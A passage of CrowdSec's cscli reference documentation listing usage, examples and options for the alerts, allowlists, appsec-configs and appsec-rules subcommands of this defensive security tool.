"/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli alerts delete](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts_delete.md) - Delete alerts /!\ This command can be used only on the same machine than the local API. * [cscli alerts flush](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts_flush.md) - Flush alerts /!\ This command can be used only on the same machine than the local API * [cscli alerts inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts_inspect.md) - Show info about an alert * [cscli alerts list](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts_list.md) - List alerts --- # cscli alerts delete ## cscli alerts delete[โ€‹](#cscli-alerts-delete "Direct link to cscli alerts delete") Delete alerts /!\ This command can be used only on the same machine than the local API. TEXTCOPY ``` cscli alerts delete [filters] [--all] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli alerts delete --ip 1.2.3.4 cscli alerts delete --range 1.2.3.0/24 cscli alerts delete -s crowdsecurity/ssh-bf" ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --scope string the scope (ie. ip,range) -v, --value string the value to match for in the specified scope -s, --scenario string the scenario (ie. crowdsecurity/ssh-bf) -i, --ip string Source ip (shorthand for --scope ip --value ) -r, --range string Range source ip (shorthand for --scope range --value ) --id string alert ID -a, --all delete all alerts --contained query decisions contained by range -h, --help help for delete ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli alerts](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts.md) - Manage alerts --- # cscli alerts flush ## cscli alerts flush[โ€‹](#cscli-alerts-flush "Direct link to cscli alerts flush") Flush alerts /!\ This command can be used only on the same machine than the local API TEXTCOPY ``` cscli alerts flush [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli alerts flush --max-items 1000 --max-age 7d ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --max-items int Maximum number of alert items to keep in the database (default 5000) --max-age duration Maximum age of alert items to keep in the database (default 168h0m0s) -h, --help help for flush ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli alerts](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts.md) - Manage alerts --- # cscli alerts inspect ## cscli alerts inspect[โ€‹](#cscli-alerts-inspect "Direct link to cscli alerts inspect") Show info about an alert TEXTCOPY ``` cscli alerts inspect "alert_id" [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli alerts inspect 123 ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --details show alerts with events -h, --help help for inspect ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli alerts](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts.md) - Manage alerts --- # cscli alerts list ## cscli alerts list[โ€‹](#cscli-alerts-list "Direct link to cscli alerts list") List alerts ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List alerts with optional filters TEXTCOPY ``` cscli alerts list [filters] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli alerts list cscli alerts list --ip 1.2.3.4 cscli alerts list --range 1.2.3.0/24 cscli alerts list --origin lists cscli alerts list -s crowdsecurity/ssh-bf cscli alerts list --type ban ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Include decisions from Central API --until duration restrict to alerts older than until (ie. 4h, 30d) (default 0s) --since duration restrict to alerts newer than since (ie. 4h, 30d) (default 0s) -i, --ip string restrict to alerts from this source ip (shorthand for --scope ip --value ) -s, --scenario string the scenario (ie. crowdsecurity/ssh-bf) -r, --range string restrict to alerts from this range (shorthand for --scope range --value ) --type string restrict to alerts with given decision type (ie. ban, captcha) --scope string restrict to alerts of this scope (ie. ip,range) -v, --value string the value to match for in the specified scope --origin string the value to match for the specified origin (cscli,crowdsec,console,cscli-import,lists,CAPI,remediation_sync ...) --kind string the value to match for the specified kind (crowdsec,waf,capi,papi,cscli ...) --contained query decisions contained by range -m, --machine print machines that sent alerts -l, --limit int limit size of alerts list table (0 to view all alerts) (default 50) -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli alerts](https://docs.crowdsec.net/docs/next/cscli/cscli_alerts.md) - Manage alerts --- # cscli allowlists ## cscli allowlists[โ€‹](#cscli-allowlists "Direct link to cscli allowlists") Manage centralized allowlists TEXTCOPY ``` cscli allowlists [action] [flags] ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for allowlists ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli allowlists add](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists_add.md) - Add content to an allowlist * [cscli allowlists check](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists_check.md) - Check if a value is in an allowlist * [cscli allowlists create](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists_create.md) - Create a new allowlist * [cscli allowlists delete](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists_delete.md) - Delete an allowlist * [cscli allowlists import](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists_import.md) - Import values to an allowlist from a CSV file * [cscli allowlists inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists_inspect.md) - Inspect an allowlist * [cscli allowlists list](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists_list.md) - List all allowlists * [cscli allowlists remove](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists_remove.md) - Remove content from an allowlist --- # cscli allowlists add ## cscli allowlists add[โ€‹](#cscli-allowlists-add "Direct link to cscli allowlists add") Add content to an allowlist TEXTCOPY ``` cscli allowlists add [allowlist_name] [value...] [-e expiration] [-d comment] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli allowlists add my_allowlist 1.2.3.4 2.3.4.5 -e 1h -d "my comment" ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --comment string comment for the value -e, --expiration duration expiration duration (default 0s) -h, --help help for add ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists --- # cscli allowlists check ## cscli allowlists check[โ€‹](#cscli-allowlists-check "Direct link to cscli allowlists check") Check if a value is in an allowlist TEXTCOPY ``` cscli allowlists check [value...] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli allowlists check 1.2.3.4 ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for check ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists --- # cscli allowlists create ## cscli allowlists create[โ€‹](#cscli-allowlists-create "Direct link to cscli allowlists create") Create a new allowlist TEXTCOPY ``` cscli allowlists create [allowlist_name] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli allowlists create my_allowlist -d 'my allowlist description' ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --description string description of the allowlist -h, --help help for create ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists --- # cscli allowlists delete ## cscli allowlists delete[โ€‹](#cscli-allowlists-delete "Direct link to cscli allowlists delete") Delete an allowlist TEXTCOPY ``` cscli allowlists delete [allowlist_name] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli allowlists delete my_allowlist ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for delete ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists --- # cscli allowlists import ## cscli allowlists import[โ€‹](#cscli-allowlists-import "Direct link to cscli allowlists import") Import values to an allowlist from a CSV file ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Import values to an allowlist from a CSV file. The CSV file must have a header line with at least a 'value' column. Optional columns: 'expiration' (duration like 1h, 1d), 'comment'. TEXTCOPY ``` cscli allowlists import [allowlist_name] -i [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` csv file: value,expiration,comment 1.2.3.4,24h,my comment 2.3.4.5,,another comment 10.0.0.0/8,1d, $ cscli allowlists import my_allowlist -i allowlist.csv From standard input: $ cat allowlist.csv | cscli allowlists import my_allowlist -i - ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for import -i, --input string Input file (use - for stdin) ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists --- # cscli allowlists inspect ## cscli allowlists inspect[โ€‹](#cscli-allowlists-inspect "Direct link to cscli allowlists inspect") Inspect an allowlist TEXTCOPY ``` cscli allowlists inspect [allowlist_name] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli allowlists inspect my_allowlist ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for inspect ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists --- # cscli allowlists list ## cscli allowlists list[โ€‹](#cscli-allowlists-list "Direct link to cscli allowlists list") List all allowlists TEXTCOPY ``` cscli allowlists list [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli allowlists list ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists --- # cscli allowlists remove ## cscli allowlists remove[โ€‹](#cscli-allowlists-remove "Direct link to cscli allowlists remove") Remove content from an allowlist TEXTCOPY ``` cscli allowlists remove [allowlist_name] [value] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli allowlists remove my_allowlist 1.2.3.4 2.3.4.5 ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for remove ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli allowlists](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md) - Manage centralized allowlists --- # cscli appsec-configs ## cscli appsec-configs[โ€‹](#cscli-appsec-configs "Direct link to cscli appsec-configs") Manage hub appsec-configs TEXTCOPY ``` cscli appsec-configs [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli waf-configs list -a cscli waf-configs install crowdsecurity/virtual-patching cscli waf-configs inspect crowdsecurity/virtual-patching cscli waf-configs upgrade crowdsecurity/virtual-patching cscli waf-configs remove crowdsecurity/virtual-patching ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for appsec-configs ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli appsec-configs inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs_inspect.md) - Inspect given appsec-config(s) * [cscli appsec-configs install](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs_install.md) - Install given appsec-config(s) * [cscli appsec-configs list](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs_list.md) - List appsec-config(s) * [cscli appsec-configs remove](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs_remove.md) - Remove given appsec-config(s) * [cscli appsec-configs upgrade](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs_upgrade.md) - Upgrade given appsec-config(s) --- # cscli appsec-configs inspect ## cscli appsec-configs inspect[โ€‹](#cscli-appsec-configs-inspect "Direct link to cscli appsec-configs inspect") Inspect given appsec-config(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Inspect the state of one or more appsec-configs TEXTCOPY ``` cscli appsec-configs inspect [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Display metadata, state, ancestor collections of waf-configs (installed or not). cscli waf-configs inspect crowdsecurity/virtual-patching # If the config is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). # To avoid this, use --no-metrics. cscli waf-configs inspect crowdsecurity/virtual-patching --no-metrics # Display difference between a tainted item and the latest one. cscli waf-configs inspect crowdsecurity/virtual-patching --diff # Reverse the above diff cscli waf-configs inspect crowdsecurity/virtual-patching --diff --rev ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --diff Show diff with latest version (for tainted items) -h, --help help for inspect --no-metrics Don't show metrics (when cscli.output=human) --rev Reverse diff output -u, --url string Prometheus url ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-configs](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs --- # cscli appsec-configs install ## cscli appsec-configs install[โ€‹](#cscli-appsec-configs-install "Direct link to cscli appsec-configs install") Install given appsec-config(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and install one or more appsec-configs from the hub TEXTCOPY ``` cscli appsec-configs install [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Install some waf-configs. cscli waf-configs install crowdsecurity/virtual-patching # Show the execution plan without changing anything - compact output sorted by type and name. cscli waf-configs install crowdsecurity/virtual-patching --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli waf-configs install crowdsecurity/virtual-patching --dry-run -o raw # Download only, to be installed later. cscli waf-configs install crowdsecurity/virtual-patching --download-only # Install over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli waf-configs install crowdsecurity/virtual-patching --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli waf-configs install crowdsecurity/virtual-patching -i cscli waf-configs install crowdsecurity/virtual-patching --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -d, --download-only Only download packages, don't enable --dry-run Don't install or remove anything; print the execution plan --force Force install: overwrite tainted and outdated files -h, --help help for install --ignore Ignore errors when installing multiple appsec-configs -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-configs](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs --- # cscli appsec-configs list ## cscli appsec-configs list[โ€‹](#cscli-appsec-configs-list "Direct link to cscli appsec-configs list") List appsec-config(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") List of installed/available/specified appsec-configs TEXTCOPY ``` cscli appsec-configs list [item... | -a] [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # List enabled (installed) waf-configs. cscli waf-configs list # List all available waf-configs (installed or not). cscli waf-configs list -a # List specific waf-configs (installed or not). cscli waf-configs list crowdsecurity/virtual-patching crowdsecurity/generic-rules ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all List disabled items as well -h, --help help for list ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-configs](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs --- # cscli appsec-configs remove ## cscli appsec-configs remove[โ€‹](#cscli-appsec-configs-remove "Direct link to cscli appsec-configs remove") Remove given appsec-config(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Remove one or more appsec-configs TEXTCOPY ``` cscli appsec-configs remove [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Uninstall some waf-configs. cscli waf-configs remove crowdsecurity/virtual-patching # Show the execution plan without changing anything - compact output sorted by type and name. cscli waf-configs remove crowdsecurity/virtual-patching --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli waf-configs remove crowdsecurity/virtual-patching --dry-run -o raw # Uninstall and also remove the downloaded files. cscli waf-configs remove crowdsecurity/virtual-patching --purge # Remove tainted items. cscli waf-configs remove crowdsecurity/virtual-patching --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli waf-configs remove crowdsecurity/virtual-patching -i cscli waf-configs remove crowdsecurity/virtual-patching --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --all Remove all the appsec-configs --dry-run Don't install or remove anything; print the execution plan --force Force remove: remove tainted and outdated files -h, --help help for remove -i, --interactive Ask for confirmation before proceeding --purge Delete source file too ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-configs](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs --- # cscli appsec-configs upgrade ## cscli appsec-configs upgrade[โ€‹](#cscli-appsec-configs-upgrade "Direct link to cscli appsec-configs upgrade") Upgrade given appsec-config(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and upgrade one or more appsec-configs from the hub TEXTCOPY ``` cscli appsec-configs upgrade [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Upgrade some waf-configs. If they are not currently installed, they are downloaded but not installed. cscli waf-configs upgrade crowdsecurity/virtual-patching # Show the execution plan without changing anything - compact output sorted by type and name. cscli waf-configs upgrade crowdsecurity/virtual-patching --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli waf-configs upgrade crowdsecurity/virtual-patching --dry-run -o raw # Upgrade over tainted items. Can be used to restore or repair after local modifications or missing dependencies. cscli waf-configs upgrade crowdsecurity/virtual-patching --force # Prompt for confirmation if running in an interactive terminal; otherwise, the option is ignored. cscli waf-configs upgrade crowdsecurity/virtual-patching -i cscli waf-configs upgrade crowdsecurity/virtual-patching --interactive ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -a, --all Upgrade all the appsec-configs --dry-run Don't install or remove anything; print the execution plan --force Force upgrade: overwrite tainted and outdated files -h, --help help for upgrade -i, --interactive Ask for confirmation before proceeding ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-configs](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs --- # cscli appsec-rules ## cscli appsec-rules[โ€‹](#cscli-appsec-rules "Direct link to cscli appsec-rules") Manage hub appsec-rules TEXTCOPY ``` cscli appsec-rules [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` cscli waf-rules list -a cscli waf-rules install crowdsecurity/crs cscli waf-rules inspect crowdsecurity/crs cscli waf-rules upgrade crowdsecurity/crs cscli waf-rules remove crowdsecurity/crs ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` -h, --help help for appsec-rules ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli](https://docs.crowdsec.net/docs/next/cscli/.md) - cscli allows you to manage crowdsec * [cscli appsec-rules inspect](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules_inspect.md) - Inspect given appsec-rule(s) * [cscli appsec-rules install](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules_install.md) - Install given appsec-rule(s) * [cscli appsec-rules list](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules_list.md) - List appsec-rule(s) * [cscli appsec-rules remove](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules_remove.md) - Remove given appsec-rule(s) * [cscli appsec-rules upgrade](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules_upgrade.md) - Upgrade given appsec-rule(s) --- # cscli appsec-rules inspect ## cscli appsec-rules inspect[โ€‹](#cscli-appsec-rules-inspect "Direct link to cscli appsec-rules inspect") Inspect given appsec-rule(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Inspect the state of one or more appsec-rules TEXTCOPY ``` cscli appsec-rules inspect [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Display metadata, state, ancestor collections of waf-rules (installed or not). cscli waf-rules inspect crowdsecurity/crs # If the rule is installed, its metrics are collected and shown as well (with an error if crowdsec is not running). # To avoid this, use --no-metrics. cscli waf-rules inspect crowdsecurity/crs --no-metrics # Display difference between a tainted item and the latest one. cscli waf-rules inspect crowdsecurity/crs --diff # Reverse the above diff cscli waf-rules inspect crowdsecurity/crs --diff --rev ``` ### Options[โ€‹](#options "Direct link to Options") TEXTCOPY ``` --diff Show diff with latest version (for tainted items) -h, --help help for inspect --no-metrics Don't show metrics (when cscli.output=human) --rev Reverse diff output -u, --url string Prometheus url ``` ### Options inherited from parent commands[โ€‹](#options-inherited-from-parent-commands "Direct link to Options inherited from parent commands") TEXTCOPY ``` --color string Output color: yes, no, auto (default "auto") -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml") --debug Set logging to debug --error Set logging to error --info Set logging to info -o, --output string Output format: human, json, raw --trace Set logging to trace --warning Set logging to warning ``` ### SEE ALSO[โ€‹](#see-also "Direct link to SEE ALSO") * [cscli appsec-rules](https://docs.crowdsec.net/docs/next/cscli/cscli_appsec-rules.md) - Manage hub appsec-rules --- # cscli appsec-rules install ## cscli appsec-rules install[โ€‹](#cscli-appsec-rules-install "Direct link to cscli appsec-rules install") Install given appsec-rule(s) ### Synopsis[โ€‹](#synopsis "Direct link to Synopsis") Fetch and install one or more appsec-rules from the hub TEXTCOPY ``` cscli appsec-rules install [item]... [flags] ``` ### Examples[โ€‹](#examples "Direct link to Examples") TEXTCOPY ``` # Install some waf-rules. cscli waf-rules install crowdsecurity/crs # Show the execution plan without changing anything - compact output sorted by type and name. cscli waf-rules install crowdsecurity/crs --dry-run # Show the execution plan without changing anything - verbose output sorted by execution order. cscli waf-rules install crowdsecurity/crs 